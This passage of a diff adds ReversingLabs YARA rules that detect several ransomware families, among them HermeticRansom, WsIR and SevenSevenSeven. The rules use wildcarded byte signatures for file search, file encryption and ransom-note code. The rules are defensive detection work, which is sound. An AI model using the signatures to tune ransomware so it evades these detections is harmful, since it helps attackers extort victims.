+            E8 ?? ?? ?? ?? 89 43 ?? 8B 73 ?? 8D 46 ?? 33 D2 E8 ?? ?? ?? ?? 8D 46 ?? BA ?? ?? ??
+            ?? E8
+        }
+		$search_config_file = {
+            8B C0 53 56 8B F0 8A 9E ?? ?? ?? ?? C6 86 ?? ?? ?? ?? ?? 80 BE ?? ?? ?? ?? ?? 75 ??
+            8B 46 ?? 8B 48 ?? A1 ?? ?? ?? ?? 33 D2 E8 ?? ?? ?? ?? 8B C6 E8 ?? ?? ?? ?? 33 D2 8B
+            86 ?? ?? ?? ?? FF 96 ?? ?? ?? ?? 83 BE ?? ?? ?? ?? ?? 74 ?? 8B 96 ?? ?? ?? ?? B8 ??
+            ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 75 ?? 89 B6 ?? ?? ?? ?? C7 86 ?? ?? ?? ?? ?? ?? ?? ??
+            EB ?? 89 B6 ?? ?? ?? ?? C7 86 ?? ?? ?? ?? ?? ?? ?? ?? 88 9E ?? ?? ?? ?? 8A 96 ?? ??
+            ?? ?? 8B C6 E8 ?? ?? ?? ?? 80 BE ?? ?? ?? ?? ?? 74 ?? 8B 46 ?? 8B 8E ?? ?? ?? ?? 8B
+            96 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 68 ?? ?? ?? ?? 8B 46 ?? E8 ?? ?? ?? ?? 8B 46 ?? 89
+            70 ?? 5E 5B C3
+        }
+		$track_mouse_event_for_entropy = {
+            53 56 83 C4 ?? 8B F0 8B 42 ?? 05 ?? ?? ?? ?? 83 E8 ?? 72 ?? 2D ?? ?? ?? ?? 0F 84 ??
+            ?? ?? ?? E9 ?? ?? ?? ?? 8A 86 ?? ?? ?? ?? 88 44 24 ?? 66 83 BE ?? ?? ?? ?? ?? 74 ??
+            8B D6 8B 86 ?? ?? ?? ?? FF 96 ?? ?? ?? ?? 8B D8 EB ?? 54 E8 ?? ?? ?? ?? 8D 4C 24 ??
+            8B D4 8B C6 E8 ?? ?? ?? ?? 8B 44 24 ?? 89 04 24 8B 44 24 ?? 89 44 24 ?? 8D 54 24 ??
+            8B C6 E8 ?? ?? ?? ?? 8D 54 24 ?? 8B C4 E8 ?? ?? ?? ?? 8B D8 3A 5C 24 ?? 0F 84 ?? ??
+            ?? ?? 8B C6 E8 ?? ?? ?? ?? 84 DB 74 ?? C6 86 ?? ?? ?? ?? ?? 66 83 BE ?? ?? ?? ?? ??
+            74 ?? 8B D6 8B 86 ?? ?? ?? ?? FF 96 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ??
+            ?? ?? ?? ?? 8B 46 ?? 89 44 24 ?? 8D 44 24 ?? E8 ?? ?? ?? ?? 8B C6 E8 ?? ?? ?? ?? EB
+            ?? C6 86 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 8B 46 ?? 89
+            44 24 ?? 8D 44 24 ?? E8 ?? ?? ?? ?? 66 83 BE ?? ?? ?? ?? ?? 74 ?? 8B D6 8B 86 ?? ??
+            ?? ?? FF 96 ?? ?? ?? ?? 8B C6 E8 ?? ?? ?? ?? EB ?? 80 BE ?? ?? ?? ?? ?? 74 ?? C6 86
+            ?? ?? ?? ?? ?? 66 83 BE ?? ?? ?? ?? ?? 74 ?? 8B D6 8B 86 ?? ?? ?? ?? FF 96 ?? ?? ??
+            ?? 8B C6 E8 ?? ?? ?? ?? 33 C0 83 C4 ?? 5E 5B C3
+        }
+		$find_files_p1 = {
+            55 8B EC 81 C4 ?? ?? ?? ?? 53 56 57 33 C9 89 8D ?? ?? ?? ?? 89 8D ?? ?? ?? ?? 8B FA
+            8B D8 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ??
+            ?? B9 ?? ?? ?? ?? 8B D7 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 E8 ?? ??
+            ?? ?? 8B F0 83 FE ?? 0F 84 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 89 43 ?? 8D 85 ?? ?? ?? ??
+            8D 95 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? 33 C9 8A 08 41 E8
+            ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B
+            85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? F6 85 ?? ?? ?? ?? ??
+            0F 84 ?? ?? ?? ?? 80 7B ?? ?? 76 ?? 8D 85 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? B9 ?? ?? ??
+            ?? E8 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 8B D7 8B C3 E8 ?? ?? ?? ?? 80 7B ?? ?? 0F 85 ??
+            ?? ?? ?? 57 8D 85 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF B5
+            ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 95 ??
+            ?? ?? ?? 8B C3 E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 89 43 ?? E9 ?? ?? ?? ?? 8D 85 ?? ??
+            ?? ?? 8D 95 ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D 95 ?? ??
+            ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 53 ?? E8 ?? ?? ?? ?? 84 C0 74 ?? FF 43
+        }
+		$find_files_p2 = {
+            80 7B ?? ?? 0F 84 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? B9 ?? ?? ?? ?? E8
+            ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 8B D7 8B C3 E8 ?? ?? ?? ?? EB ?? 80 7B ?? ?? 74 ?? 8D
+            85 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 8D
+            85 ?? ?? ?? ?? 8B D7 E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8D 43 ?? E8 ?? ?? ?? ?? EB ??
+            8D 85 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ??
+            8D 43 ?? E8 ?? ?? ?? ?? 80 7B ?? ?? 75 ?? 8D 85 ?? ?? ?? ?? 50 56 E8 ?? ?? ?? ?? 85
+            C0 0F 85 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 33 C0 5A 59 59 64 89 10 68 ?? ?? ?? ?? 8D 85
+            ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? C3
+        }
+		$encrypt_files = {
+            8B C0 33 D2 89 50 ?? 89 50 ?? 52 8D 50 ?? 52 FF 70 ?? FF 70 ?? FF 30 E8 ?? ?? ?? ??
+            85 C0 74 ?? 33 C0 C3 E8 ?? ?? ?? ?? 83 F8 ?? 74 ?? C3 33 C0 C3 51 8B 50 ?? 85 D2 7E
+            ?? 33 C9 89 48 ?? 51 8D 4C 24 ?? 51 52 FF 70 ?? FF 30 E8 ?? ?? ?? ?? 85 C0 74 ?? 33
+            C0 59 C3 E8 ?? ?? ?? ?? EB ?? FF 30 C7 40 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 75 ?? C3
+            E8 ?? ?? ?? ?? C3 56 8B F0 33 C0 89 46 ?? 89 46 ?? 8B 46 ?? 2D ?? ?? ?? ?? 74 ?? 48
+            74 ?? 48 74 ?? E9 ?? ?? ?? ?? B8 ?? ?? ?? ?? BA ?? ?? ?? ?? B9 ?? ?? ?? ?? C7 46 ??
+            ?? ?? ?? ?? EB ?? B8 ?? ?? ?? ?? BA ?? ?? ?? ?? B9 ?? ?? ?? ?? EB ?? B8 ?? ?? ?? ??
+            BA ?? ?? ?? ?? B9 ?? ?? ?? ?? C7 46 ?? ?? ?? ?? ?? C7 46 ?? ?? ?? ?? ?? C7 46 ?? ??
+            ?? ?? ?? 80 7E ?? ?? 0F 84 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 51 6A ?? 52 50 8D 46 ??
+            50 E8 ?? ?? ?? ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? 89 06 81 7E ?? ?? ?? ?? ?? 0F 85 ?? ??
+            ?? ?? FF 4E ?? 6A ?? FF 36 E8 ?? ?? ?? ?? 40 0F 84 ?? ?? ?? ?? 2D ?? ?? ?? ?? 73 ??
+            33 C0 6A ?? 6A ?? 50 FF 36 E8 ?? ?? ?? ?? 40 0F 84 ?? ?? ?? ?? 6A ?? 8B D4 6A ?? 52
+            68 ?? ?? ?? ?? 8D 96 ?? ?? ?? ?? 52 FF 36 E8 ?? ?? ?? ?? 5A 48 0F 85 ?? ?? ?? ?? 33
+            C0 3B C2 73 ?? 80 BC 06 ?? ?? ?? ?? ?? 74 ?? 40 EB ?? 6A ?? 6A ?? 2B C2 50 FF 36 E8
+            ?? ?? ?? ?? 40 74 ?? FF 36 E8 ?? ?? ?? ?? 48 75 ?? EB ?? C7 46 ?? ?? ?? ?? ?? 81 7E
+            ?? ?? ?? ?? ?? 74 ?? 6A ?? EB ?? 6A ?? E8 ?? ?? ?? ?? 83 F8 ?? 74 ?? 89 06 81 7E ??
+            ?? ?? ?? ?? 74 ?? FF 36 E8 ?? ?? ?? ?? 85 C0 74 ?? 83 F8 ?? 75 ?? C7 46 ?? ?? ?? ??
+            ?? 33 C0 5E C3
+        }
+
+	condition:
+		uint16(0)==0x5A4D and ($search_config_file) and ( all of ($find_files_p*)) and ($track_mouse_event_for_entropy) and ($encrypt_files) and ( all of ($show_ransom_note_p*))
+}
+rule REVERSINGLABS_Win64_Ransomware_Hermeticransom : TC_DETECTION MALICIOUS MALWARE FILE
+{
+	meta:
+		description = "Yara rule that detects HermeticRansom ransomware."
+		author = "ReversingLabs"
+		id = "6aaf89f4-0cf8-5f0e-b89d-01ac7edd06c0"
+		date = "2022-05-13"
+		modified = "2022-05-13"
+		reference = "ReversingLabs"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Win64.Ransomware.HermeticRansom.yara#L1-L105"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "123d569a9d9b9d855b3baafd6194f102d82a594fd7a2bba073843a8654a317cb"
+		score = 75
+		quality = 90
+		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
+		status = "RELEASED"
+		sharing = "TLP:WHITE"
+		category = "MALWARE"
+		tc_detection_type = "Ransomware"
+		tc_detection_name = "HermeticRansom"
+		tc_detection_factor = 5
+		importance = 25
+
+	strings:
+		$drop_ransom_note = {
+            65 48 8B 0C 25 ?? ?? ?? ?? 48 8B 89 ?? ?? ?? ?? 48 8D 84 24 ?? ?? ?? ?? 48 3B 41 ??
+            0F 86 ?? ?? ?? ?? 48 81 EC ?? ?? ?? ?? 48 89 AC 24 ?? ?? ?? ?? 48 8D AC 24 ?? ?? ??
+            ?? E8 ?? ?? ?? ?? 0F 10 04 24 0F 11 44 24 ?? 0F 10 44 24 ?? 0F 11 44 24 ?? 0F 10 44
+            24 ?? 0F 11 04 24 E8 ?? ?? ?? ?? 48 8B 44 24 ?? 48 8B 4C 24 ?? 48 8D BC 24 ?? ?? ??
+            ?? 48 8D 35 ?? ?? ?? ?? 48 89 6C 24 ?? 48 8D 6C 24 ?? E8 ?? ?? ?? ?? 48 8B 6D ?? 48
+            89 8C 24 ?? ?? ?? ?? 48 89 84 24 ?? ?? ?? ?? 48 8B 05 ?? ?? ?? ?? 48 8B 0D ?? ?? ??
+            ?? 48 89 8C 24 ?? ?? ?? ?? 48 89 84 24 ?? ?? ?? ?? 48 8B 05 ?? ?? ?? ?? 48 8B 0D ??
+            ?? ?? ?? 48 89 84 24 ?? ?? ?? ?? 48 89 8C 24 ?? ?? ?? ?? 48 C7 04 24 ?? ?? ?? ?? 48
+            8D 84 24 ?? ?? ?? ?? 48 89 44 24 ?? 48 C7 44 24 ?? ?? ?? ?? ?? 48 C7 44 24 ?? ?? ??
+            ?? ?? E8 ?? ?? ?? ?? 48 8B 44 24 ?? 48 89 44 24 ?? 48 8B 4C 24 ?? 48 89 8C 24 ?? ??
+            ?? ?? 48 8D 15 ?? ?? ?? ?? 48 89 14 24 48 C7 44 24 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 48
+            8B 44 24 ?? 48 8B 4C 24 ?? 48 8D 94 24 ?? ?? ?? ?? 48 89 14 24 48 89 4C 24 ?? 48 89
+            44 24 ?? 48 8D 05 ?? ?? ?? ?? 48 89 44 24 ?? 48 C7 44 24 ?? ?? ?? ?? ?? E8 ?? ?? ??
+            ?? 48 8B 44 24 ?? 48 8B 4C 24 ?? 48 C7 04 24 ?? ?? ?? ?? 48 89 44 24 ?? 48 89 4C 24
+            ?? 48 8D 05 ?? ?? ?? ?? 48 89 44 24 ?? 48 C7 44 24 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 48
+            8B 44 24 ?? 48 8B 4C 24 ?? 48 89 0C 24 48 89 44 24 ?? 48 C7 44 24 ?? ?? ?? ?? ?? C7
+            44 24 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 44 24 ?? 48 89 84 24 ?? ?? ?? ?? 48 8B 4C
+            24 ?? 48 89 8C 24 ?? ?? ?? ?? 48 89 44 24 ?? C7 04 24 ?? ?? ?? ?? 48 8D 15 ?? ?? ??
+            ?? 48 89 54 24 ?? E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 48 8B 84 24 ?? ?? ?? ?? 48
+        }
+		$encrypt_files_p1 = {
+            E8 ?? ?? ?? ?? 48 8B 44 24 ?? 48 89 84 24 ?? ?? ?? ?? 48 8B 4C 24 ?? 48 89 8C 24 ??
+            ?? ?? ?? 48 8B 15 ?? ?? ?? ?? 48 8B 1D ?? ?? ?? ?? 48 8B 35 ?? ?? ?? ?? 48 89 14 24
+            48 89 74 24 ?? 48 89 5C 24 ?? 48 8D 15 ?? ?? ?? ?? 48 89 54 24 ?? 48 C7 44 24 ?? ??
+            ?? ?? ?? 48 8B 15 ?? ?? ?? ?? 48 8B 1D ?? ?? ?? ?? 48 89 5C 24 ?? 48 89 54 24 ?? E8
+            ?? ?? ?? ?? 48 8B 44 24 ?? 48 8B 4C 24 ?? 48 8B 54 24 ?? 48 8B 9C 24 ?? ?? ?? ?? 48
+            85 DB 0F 85 ?? ?? ?? ?? 48 89 44 24 ?? 48 89 4C 24 ?? 48 89 94 24 ?? ?? ?? ?? 48 8D
+            05 ?? ?? ?? ?? 48 89 04 24 48 C7 44 24 ?? ?? ?? ?? ?? 48 C7 44 24 ?? ?? ?? ?? ?? E8
+            ?? ?? ?? ?? 48 8D 05 ?? ?? ?? ?? 48 89 04 24 48 8B 44 24 ?? 48 89 C1 48 C1 F8 ?? 48
+            C1 E8 ?? 48 01 C8 48 C1 F8 ?? 48 89 84 24 ?? ?? ?? ?? 48 C1 E0 ?? 48 29 C1 48 89 4C
+            24 ?? 48 89 4C 24 ?? E8 ?? ?? ?? ?? 48 8B 84 24 ?? ?? ?? ?? 48 89 04 24 0F 57 C0 0F
+            11 44 24 ?? E8 ?? ?? ?? ?? 48 8B 84 24 ?? ?? ?? ?? 48 83 F8 ?? 7E ?? B8 ?? ?? ?? ??
+            48 89 84 24 ?? ?? ?? ?? 31 C9 EB ?? 48 8B 84 24 ?? ?? ?? ?? 48 8B 8C 24 ?? ?? ?? ??
+            48 39 C1 0F 8D ?? ?? ?? ?? 48 89 CA 48 C1 E1 ?? 48 FF C2 48 89 D3 48 C1 E2 ?? 48 39
+            D1 0F 87 ?? ?? ?? ?? 48 8B 74 24 ?? 48 39 F2 0F 87 ?? ?? ?? ?? 48 89 9C 24 ?? ?? ??
+            ?? 48 8B 05 ?? ?? ?? ?? 48 8B 1D ?? ?? ?? ?? 48 8B 3D ?? ?? ?? ?? 48 89 3C 24 48 89
+        }
+		$encrypt_files_p2 = {
+            5C 24 ?? 48 89 44 24 ?? 48 29 CE 48 89 F3 48 F7 DE 48 C1 FE ?? 48 21 CE 48 8B BC 24
+            ?? ?? ?? ?? 48 01 FE 48 89 74 24 ?? 48 29 CA 48 89 54 24 ?? 48 89 5C 24 ?? E8 ?? ??
+            ?? ?? 48 8B 44 24 ?? 48 8B 4C 24 ?? 48 8B 54 24 ?? 48 8B 5C 24 ?? 48 85 DB 0F 85 ??
+            ?? ?? ?? 48 8B 9C 24 ?? ?? ?? ?? 48 89 1C 24 48 89 44 24 ?? 48 89 4C 24 ?? 48 89 54
+            24 ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 48 83 F8 ?? 0F 8D ?? ?? ?? ?? 48 C1 E0 ?? 48 8B
+            4C 24 ?? 48 39 C8 0F 87 ?? ?? ?? ?? 48 8B 15 ?? ?? ?? ?? 48 8B 1D ?? ?? ?? ?? 48 8B
+            35 ?? ?? ?? ?? 48 89 14 24 48 89 5C 24 ?? 48 89 74 24 ?? 48 8B 54 24 ?? 48 29 C2 48
+            89 D3 48 F7 DA 48 C1 FA ?? 48 21 C2 48 8B B4 24 ?? ?? ?? ?? 48 01 F2 48 89 54 24 ??
+            48 29 C1 48 89 4C 24 ?? 48 89 5C 24 ?? E8 ?? ?? ?? ?? 48 8B 44 24 ?? 48 8B 4C 24 ??
+            48 8B 54 24 ?? 48 8B 5C 24 ?? 48 85 DB 74 ?? 48 8B 84 24 ?? ?? ?? ?? 48 8B 8C 24 ??
+            ?? ?? ?? 48 89 8C 24 ?? ?? ?? ?? 48 89 84 24 ?? ?? ?? ?? 48 8B AC 24 ?? ?? ?? ?? 48
+            81 C4 ?? ?? ?? ?? C3 48 8B 9C 24 ?? ?? ?? ?? 48 89 1C 24 48 89 44 24 ?? 48 89 4C 24
+            ?? 48 89 54 24 ?? E8 ?? ?? ?? ?? 48 8B 84 24
+        }
+		$find_files = {
+            65 48 8B 0C 25 ?? ?? ?? ?? 48 8B 89 ?? ?? ?? ?? 48 3B 61 ?? 0F 86 ?? ?? ?? ?? 48 83
+            EC ?? 48 89 6C 24 ?? 48 8D 6C 24 ?? 48 C7 04 24 ?? ?? ?? ?? 48 8B 84 24 ?? ?? ?? ??
+            48 89 44 24 ?? 48 8B 8C 24 ?? ?? ?? ?? 48 89 4C 24 ?? 48 8D 15 ?? ?? ?? ?? 48 89 54
+            24 ?? 48 C7 44 24 ?? ?? ?? ?? ?? 48 8B 15 ?? ?? ?? ?? 48 8B 1D ?? ?? ?? ?? 48 89 54
+            24 ?? 48 89 5C 24 ?? 48 8D 15 ?? ?? ?? ?? 48 89 54 24 ?? 48 C7 44 24 ?? ?? ?? ?? ??
+            E8 ?? ?? ?? ?? 48 8B 44 24 ?? 48 89 44 24 ?? 48 8B 4C 24 ?? 48 89 4C 24 ?? 48 8B 94
+            24 ?? ?? ?? ?? 48 89 14 24 48 8B 9C 24 ?? ?? ?? ?? 48 89 5C 24 ?? 48 89 44 24 ?? 48
+            89 4C 24 ?? E8 ?? ?? ?? ?? 48 8B 44 24 ?? 48 85 C0 0F 84 ?? ?? ?? ?? 48 8B 84 24 ??
+            ?? ?? ?? 48 8B 8C 24 ?? ?? ?? ?? 48 89 04 24 48 89 4C 24 ?? 48 C7 44 24 ?? ?? ?? ??
+            ?? C7 44 24 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 44 24 ?? 48 8B 4C 24 ?? 48 85 C9 75
+            ?? 48 89 44 24 ?? 48 89 04 24 E8 ?? ?? ?? ?? 48 8B 44 24 ?? 48 85 C0 74 ?? 48 8B 44
+            24 ?? 48 89 04 24 E8 ?? ?? ?? ?? C6 84 24 ?? ?? ?? ?? ?? 48 8B 6C 24 ?? 48 83 C4 ??
+            C3 48 8B 44 24 ?? 48 89 04 24 E8 ?? ?? ?? ?? C6 84 24 ?? ?? ?? ?? ?? 48 8B 6C 24 ??
+            48 83 C4 ?? C3 48 89 04 24 E8 ?? ?? ?? ?? C6 84 24 ?? ?? ?? ?? ?? 48 8B 6C 24 ?? 48
+            83 C4 ?? C3 48 8B 44 24
+        }
+
+	condition:
+		uint16(0)==0x5A4D and ($find_files) and ( all of ($encrypt_files_p*)) and ($drop_ransom_note)
+}
+rule REVERSINGLABS_Win32_Ransomware_Wsir : TC_DETECTION MALICIOUS MALWARE FILE
+{
+	meta:
+		description = "Yara rule that detects WsIR ransomware."
+		author = "ReversingLabs"
+		id = "cb4ab736-9421-5b92-b4a5-c5db0b61725a"
+		date = "2022-08-02"
+		modified = "2022-08-02"
+		reference = "ReversingLabs"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Win32.Ransomware.WsIR.yara#L1-L73"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "c22c01f93945c7721ebfe5e7a09c3bf2b9d0ad95740bc0a76b4e61741f61d82c"
+		score = 75
+		quality = 90
+		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
+		status = "RELEASED"
+		sharing = "TLP:WHITE"
+		category = "MALWARE"
+		tc_detection_type = "Ransomware"
+		tc_detection_name = "WsIR"
+		tc_detection_factor = 5
+		importance = 25
+
+	strings:
+		$find_files = {
+            6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 81 EC ?? ?? ?? ?? 53
+            55 8B E9 8D 4C 24 ?? 8D 45 ?? 50 E8 ?? ?? ?? ?? 8B 4C 24 ?? C7 84 24 ?? ?? ?? ?? ??
+            ?? ?? ?? 8B 41 ?? 85 C0 74 ?? 8D 54 24 ?? 6A ?? 52 8D 4C 24 ?? E8 ?? ?? ?? ?? 8B 00
+            68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 4C 24 ?? 85 C0 0F 95 C3 E8 ?? ?? ?? ??
+            84 DB 74 ?? 68 ?? ?? ?? ?? 8D 4C 24 ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 4C 24 ?? E8
+            ?? ?? ?? ?? 8B 4C 24 ?? 8D 44 24 ?? 50 51 FF 15 ?? ?? ?? ?? 83 F8 ?? 89 44 24 ?? 75
+            ?? 8D 4C 24 ?? 89 84 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 56 8B B4 24 ?? ??
+            ?? ?? 57 8B 3D ?? ?? ?? ?? BB ?? ?? ?? ?? F6 44 24 ?? ?? 74 ?? 8D 54 24 ?? 68 ?? ??
+            ?? ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74 ?? 8D 44 24 ?? 68 ?? ?? ?? ?? 50 E8 ?? ??
+            ?? ?? 83 C4 ?? 85 C0 74 ?? 8B 45 ?? 8D 54 24 ?? 52 6A ?? 8D 8C 24 ?? ?? ?? ?? 68 ??
+            ?? ?? ?? 50 89 74 24 ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ??
+            ?? ?? ?? ?? 89 4C 24 ?? 89 5C 24 ?? FF D7 8B 54 24 ?? 8D 4C 24 ?? 51 52 FF 15 ?? ??
+            ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 8B 44 24 ?? 50 FF 15 ?? ?? ?? ?? 8B 4D ?? 56 6A ?? 68
+            ?? ?? ?? ?? 51 FF D7 8D 4C 24 ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 5F
+            5E 8B 8C 24 ?? ?? ?? ?? 5D 5B 64 89 0D ?? ?? ?? ?? 81 C4 ?? ?? ?? ?? C2
+        }
+		$encrypt_files = {
+            FF 75 ?? 8B 5D ?? FF 33 B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? 68 ?? ?? ??
+            ?? FF 75 ?? 8B 5D ?? FF 33 B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? 68 ?? ??
+            ?? ?? 6A ?? 8B 45 ?? 85 C0 75 ?? B8 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 6A ?? 8B 45 ?? 85
+            C0 75 ?? B8 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? BB ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8B
+            5D ?? 85 DB 74 ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 8B 5D ?? 85 DB 74 ?? 53 E8 ?? ?? ?? ??
+            83 C4 ?? 8D 85 ?? ?? ?? ?? 50 6A ?? 6A ?? 6A ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4
+            ?? 89 45 ?? 8B 45 ?? 50 8B 5D ?? 85 DB 74 ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 58 89 45 ??
+            E9
+        }
+		$exec_proc = {
+            52 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 8B 1D ?? ??
+            ?? ?? 8D 44 24 ?? 68 ?? ?? ?? ?? 50 FF D3 8D 4C 24 ?? 8D 54 24 ?? 51 52 68 ?? ?? ??
+            ?? 8B CF E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 8D 44 24 ?? 68 ?? ?? ?? ?? 50 E8 ??
+            ?? ?? ?? 8B F0 83 C4 ?? 85 F6 75 ?? 8D 4C 24 ?? 68 ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 8B
+            F0 83 C4 ?? 85 F6 75 ?? 8D 54 24 ?? 52 FF 15 ?? ?? ?? ?? 8D 74 04 ?? EB ?? 8D 57 ??
+            8D 4C 24 ?? 52 E8 ?? ?? ?? ?? 8B 44 24 ?? 8B 48 ?? 85 C9 0F 85 ?? ?? ?? ?? 8D 4C 24
+            ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 EB ?? C6 06 ?? 68 ?? ?? ??
+            ?? 56 FF D3 8B 44 24 ?? 50 56 FF D3 8D 4C 24 ?? 55 51 FF 15 ?? ?? ?? ?? 8B F0 33 D2
+            83 FE ?? 0F 9F C2 8D 4C 24 ?? 8B F2 C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ??
+            5D 8B C6 5B 8B 8C 24 ?? ?? ?? ?? 5F 5E 64 89 0D ?? ?? ?? ?? 81 C4 ?? ?? ?? ?? C2
+        }
+
+	condition:
+		uint16(0)==0x5A4D and ($find_files) and ($encrypt_files) and ($exec_proc)
+}
+rule REVERSINGLABS_Win32_Ransomware_Sevensevenseven : TC_DETECTION MALICIOUS MALWARE FILE
+{
+	meta:
+		description = "Yara rule that detects SevenSevenSeven ransomware."
+		author = "ReversingLabs"
+		id = "049531bd-9505-5da1-9512-980383c8c5ec"
+		date = "2020-07-15"
+		modified = "2020-07-15"
+		reference = "ReversingLabs"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Win32.Ransomware.SevenSevenSeven.yara#L1-L148"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "583a8ac746cd749bd3927f10c864a3ac84f82f8bbd8d0ebf117e22b016d7ca94"
+		score = 75
+		quality = 90
+		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
+		status = "RELEASED"
+		sharing = "TLP:WHITE"
+		category = "MALWARE"
+		tc_detection_type = "Ransomware"
+		tc_detection_name = "SevenSevenSeven"
+		tc_detection_factor = 5
+		importance = 25
+
+	strings:
+		$file_search_p1 = {
+            55 8B EC 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ??
+            ?? 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 89 45 ?? 53 56 57 89 65 ?? BE ?? ?? ?? ?? 89 75
+            ?? 33 DB 89 5D ?? 88 5D ?? 89 75 ?? 89 5D ?? 88 5D ?? 89 75 ?? 88 5D ?? 68 ?? ?? ??
+            ?? 8B 45 ?? 50 8D 8D ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 53 50 8D 4D ?? E8
+            ?? ?? ?? ?? BF ?? ?? ?? ?? 39 BD ?? ?? ?? ?? 72 ?? 8B 95 ?? ?? ?? ?? 52 E8 ?? ?? ??
+            ?? 83 C4 ?? 39 7D ?? 8B 45 ?? 73 ?? 8D 45 ?? 8D 8D ?? ?? ?? ?? 51 50 FF 15 ?? ?? ??
+            ?? 89 85 ?? ?? ?? ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? EB ?? BE ?? ?? ?? ?? 90 6A ?? 53 8D
